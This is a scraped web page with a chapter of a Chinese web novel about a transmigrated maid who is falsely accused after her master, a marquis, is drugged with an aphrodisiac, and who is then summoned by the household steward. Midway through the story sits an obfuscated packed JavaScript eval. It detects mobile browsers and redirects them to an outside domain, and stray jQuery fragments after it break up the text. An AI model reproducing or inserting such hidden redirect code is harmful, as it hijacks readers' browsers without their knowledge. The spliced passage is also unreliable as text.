默认冷灰
24号文字
方正启体

6. 第六章

作者:昭日葵本书字数:K更新时间:
    难道她这个路人甲领的是抹布剧情?


    祝谣脑袋晕沉沉地想着,身子却被蒲扇大的巴掌拎起,那人好似拎着一只拔了毛的长颈鸡,一路晃悠悠地把她拖到了一处地方,然后甩包袱似地扔下。


    她的脸先着地,幸而垫了毛毯,所以免遭破相,只是脚踝刮得微疼。


    祝谣意识清醒了点,但不多,眼皮依旧粘得严实,索性就趴着不起来,听听耳边的吵嚷。


    “侯爷,人带到了!”一个婆子兴冲冲道。


    海棠双膝并拢,侧歪身子,坐在地上,原本小声啜泣着,见祝谣被带了过来,生怕她先开口辩驳,当即声泪俱下道:“奴自卖时,爹爹卧病在床,经今几载,断不得药。


    卖身的银钱仅够他再喝三个月,奴不偷不抢,只能想到去争侯爷的恩宠,或许侯爷会可怜和奴相依为命的爹爹,让他撑到见奴生下外孙再安心地去了。


    可缘分之事强求不来,奴再着急也无用,偏巧奴藏不住心事,好的坏的都显露在脸上,蝉儿兴许瞧见了,就找上门来。


    她开口便说有样好东西,能助奴实现心愿,只要事后提她当大丫鬟,奴想要多少都能弄进府。”


    海棠泪眼婆娑地望向裴执鹤:“侯爷,奴、奴一时情急,受了哄骗,才犯下这错,现在诚心悔过,甘愿青灯古佛,为侯爷抄写经书,积德积福。”


    美人垂泪,楚楚可怜,但在场的都是人精,没那般轻易心软,更何况裴执鹤一言未出,显然不为所动,做奴才的自然也不会没有眼力见到替她求情。


    海棠唱了出独角戏,愈加觉得难堪。


    恰在此时,樊婆子从祝谣的箱笼里翻出来一盒胭脂,瞧着还是天香阁的哩!


    她像是找着了宝,风似地卷着物件出来,向裴执鹤献宝道:“侯爷,蝉儿一月只能拿五百文,但这盒胭脂可卖一两五百文,她哪来的银子?!”


    樊婆子在明鉴院洗了十几年衣裳,虽是府中的老奴,可总入不了主子的眼,不受重用,此回终于抢到表现的机会,十分卖力。


    海棠见缝插针道:“奴当初给了蝉儿二两银子,想的是她能一心为奴办事……”


    樊婆子眼睛一亮:“老奴活到这把岁数,甚麽污糟的没见过,那外边最便宜的‘求子药’,就得五百文,没想到这丫头心真黑,买药剩下的钱,全自个拿去买胭脂了!”


    裴执鹤虽恼怒自己遭人下药,更羞赧一个婆子口无遮拦地说这等下流事,但他清楚,事已至此,是该揪出罪魁祸首,才能解气。


    他并非偏听偏信之人,眼神一落到祝谣身上,樊婆子就心领神会。


    她一把拎起祝谣的半边胳膊,见人竟还闭着眼,立即抄起巴掌往脸上挥去,却在中途蓦然被拦住,只见丫头睁开了眼,眼瞳黑漆漆的,右手握紧手腕,正盯着她!


    樊婆子吓得一跳,赶紧上眼药道:“侯爷,这死丫头还装睡呢!”


    昌安就立在裴执鹤身后半步的位置,抬眼看到祝谣眼下的淤青,侧头又见侯爷眉头微皱,俄而向他轻声道:“侯爷在大理寺侦缉断案,常道犯者即使有重大嫌疑在身,也须在证据确凿的前提下定罪。


    樊婆子也许是替侯爷着想,言行才如此有失偏颇,侯爷莫怪。”


    瞧瞧,这说的甚麽话?这不就是在说她着急给蝉儿扣帽子,也很值得怀疑吗?!


    樊婆子鼓圆了眼睛,登时松开钳制着祝谣的手,扮哭道:“哎呦老奴可没藏着坏心,也没那个胆子害侯爷啊!想老奴八岁就进了侯府,从洗恭桶开始……”


    她嚎起来没完没了,祝谣便见裴执鹤的眉头紧锁,少了几分脱离俗世之气。


    张总管打了个手势,候着的小厮们抽起腰间系的汗巾,一把团塞进樊婆子嘴里,总算还了清净。


    昌安觑着裴执鹤的脸色,替他开口向祝谣问询道:“你可有话要替自己辩解?”


    祝谣想了下,一字一句道:“买胭脂的二两银子,是奴婢一点点攒起来的,分别有一千四百七十二枚铜子和两颗豆大的银粒。


    进去天香阁之前,奴婢从里边取了五百文出来,买了件新衣,因为奴婢怕脏了天香阁其他贵客的眼。


    衣服奴婢穿过一回后,便洗好收在箱笼里,而这盒胭脂,奴婢也是留作生辰礼,所以还未用过。”


    这话说得有条有理,裴执鹤难得赏了一眼到她身上。


    既提到物证,裴执鹤随意指到小翠去搜祝谣的箱笼,倒是真翻出一件短衫和一条百褶裙,皆是新料子。


    她捧着衣服,说了句:“依奴婢看,小厨房只有秋菊姐姐和昌安能进去,蝉儿平日就楞头楞脑的,可没本事溜进去下药。”


    这话虽说得怪瞧不起人的,但也有些偏颇,故裴执鹤并未当一回事。


    昌安接着问道:“那胭脂你是何时买的?”


    祝谣:“三日前。”


    裴执鹤当即下令道:“查清三日前是谁守门,带过来。”


    侯府看大门的小厮是值五休四,如今正好是换班前一日,三日前守门且搜查过祝谣带进府的东西的小厮,很快到了侯爷跟前。


    阿山回道:“那日奴才并没有从蝉儿身上搜出任何可疑的物件。”


    眼见蹩脚的谎言就要被拆穿,海棠急道:“你胡说!定是你收了她的好处,然后串通好了,不然这种药怎么会流入侯府?”


    张总管暗中已经观察了祝谣好一会儿了,虽然瞧着不太机灵,但嘴严,心里有秤,活计干得明白,将来连翘当管事娘子,倒是可以培养她做心腹。


    他瞅准时机,上前请罪:“是奴才疏忽大意,才让此等危及侯爷康健的脏药入府,恳请侯爷惩处奴才。”


    裴执鹤自不会怪他,毕竟是一直跟在他身边的老人,他信任非常,昌安和秋菊亦然,偶有疏忽是可以原谅的。


    况且他大概能摸清事实真相,不外乎是海棠为了逃脱审判,故意攀扯了其他丫鬟进来,混淆视听。


    只需再查查小厨房四周可有令人生疑的踪迹,若没有,便是海棠在接手醒酒汤后、奉汤给他之前,将药下进去的。


    不等他吩咐下去,忽有小厮小跑至厅堂内,传道:“袁大监到了府上,正朝着这边来!”


    宫中来人,便不能再继续探查自家的官司。


    张总管眼睛一扫,一旁的小厮即刻上前架着海棠,要拖下去。


    海棠没料到裴执鹤分明都和珍珠睡了一夜,还如此执着于一包催//情药物!


    虽然知道自己难逃其咎,但是不代表她就得认命,蝉儿也不是个无辜的,于是她试着把一切过错推到那丫鬟头上。


    哪想昌安和张总管被灌了迷魂汤似的,明里暗里地替她说话?若是从一开始就直接把蝉儿打为同党,引导众人去探查小厨房,岂非早就能拉个人一同受惩了?


    海棠张口欲辩,却被樊婆子抽出嘴里发馊的汗巾,呸了两声,然后塞到她的口中,狠狠道:“早知你不是个好的!”


    小厮拖着挣扎的海棠下去,裴执鹤长身玉立,任由秋菊替他理好仪容,又成了那个光风霁月的高岭之花。


    少顷,所有人一道摆好架势,迎接太后身边的红人。


    “远远地就听到一阵热闹,这是怎么一回事?”不多时,面白无须的袁大监笑吟吟踏入堂内。


    祝谣是第一回见到阉人,不由多瞧了几眼。


    张总管躬身回道:“只是有个丫鬟冲撞到了侯爷。”


    “哦?”袁大监脸上笑意全散,“既如此,还不打顿板子发卖出去,以此警醒宁远府的其他下人?”


    这下,祝谣眼观鼻,鼻观心,可不敢乱看了。


    张总管微抬眼睑,目光触及袁大监几息,又收敛回去:“是。”


    裴执鹤虽不满一个太监替他定夺海棠的去留,但念及袁大监的靠山是太后,只肃着脸,不置可否。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592766|171904||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “太后传旨,召侯爷进宫”袁大监对上裴执鹤,复换了副和蔼可亲的模样,“听闻探花郎在您府上?”


    裴执鹤颔首:“延儒就住在兰羲园。”


    “太后亦许多年未见他了,还请侯爷等候片时,与孟翰林一同入宫。”


    *


    袁大监走后,祝谣被张总管带去私下问话,连翘挨着自家表叔站着。


    此地宽敞雅致,窗明几净,正是张总管在府中的住处。


    宁远侯府累几世之财,不怪他想扶持自家人站稳脚跟,日后接班,好继续享用。


    张总管虽坐在靠椅上,但收拢了神情,自有一股威严之气,道:“我对你做过什么,是一清二楚,只是连翘为你求情,求到了我面前,今回我给她一个面子瞒下,但下回你可就没有这种好运气了。”


    祝谣在心中暗自琢磨,这是一出鸿门宴还是拜山头。


    她倏地想到袁大监与张总管一触即离的眼神,也许海棠下药一事,就是宫中贵人授意,所以张总管才任她暗中四处乱跳,等事态爆发到裴执鹤面前时,再推她一人出来,承担所有后果。


    黑,真是太黑了!


    原来书上简单一句“裴执鹤遭海棠使药,破了多年道心”的背后,是皇权的介入、上位者的碾压和贱命如草芥的体现。


    以往还未回忆起前世的记忆时,祝谣过得浑浑噩噩的,即使遇上系统,她也抱着得过且过的心态,总觉回家去便是她的退路,再不济当一辈子古人。


    可袁大监轻飘飘一言,倒如当头一棒,呵醒了祝谣,她的后脊背到现下还在发凉。


    海棠轻易被决定生死,难道她就不会如此吗?


    祝谣无法再将周围的人简单地看作是纸片人。他们有思想,有情绪,有计谋,与真实的人并无差别。


    至于张总管私底下找上了她,肯定是想彻底坐实她为自己人,祝谣能拒绝吗,当然不能,她要更加谨慎,兼之努力抱稳靠山,才能活着完成任务。


    祝谣熟练地跪下:“感谢你们的大恩大德,下辈子我当牛做马,以报恩德!”


    张总管感到惊愕,和表侄女对视了眼。


    连翘赶忙把祝谣扯起来,说:“你还真是一根筋,说什么就信什么,以后仔细还被人骗!表叔的意思是,让你日后莫要再犯错,顺道记得我们的好就是了,哪用这么大阵仗。”


    祝谣看着连翘道:“我以后只听你的话,你是为我好,我听了你的话,就不会被人骗了。”


    连翘笑得露出了一旋酒窝。


    张总管捋了两下短须,继续扮白脸道:“以后你须以侯爷为重,这次免了皮肉之苦,但是月钱得扣三个月的,好记住教训,永无下回再犯。”


    明鉴院内管事丫鬟月钱一两多点,二等丫鬟如连翘,月钱是七百文打上,一两以下,三等丫鬟如祝谣花儿等,只有五百文。


    祝谣一下被罚三个月月钱,那就是没了一两五百文,虽然此前帮着打扫兰羲园,抓了把赏钱,大概值五百个铜子,但要白打两个月的工,她想想就觉难过。


    连翘破天荒地从她那张惯没甚麽情绪的脸上,瞧出一丝闷闷不乐,忖量了番,问道:“那盒胭脂你原是要送给我的吗?”


    祝谣点头。


    连翘哂笑了声,道:“还算你有良心。这回你替我守夜,昌安还向我夸了你几句,这样罢,日后你多为我分担点,虽不能涨月钱,但有时小厨房会温着宵夜,饿了就能吃,另外偶尔遇到侯爷心情畅快时,也能跟着得赏。”


    祝谣应下,当晚又站在正房外头,挂着两眼乌青,听着房中吟哦。


    裴执鹤不是洁癖吗?怎么一到快活时,就变得生龙活虎的?


    她想起前三章的结尾,写道海棠买的合欢散比较劣质,会产生余毒,裴执鹤得和女主做个三天三夜才能消下去。


    也就是说,祝谣还得再值守一宿,才能睡它个昏天黑地。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)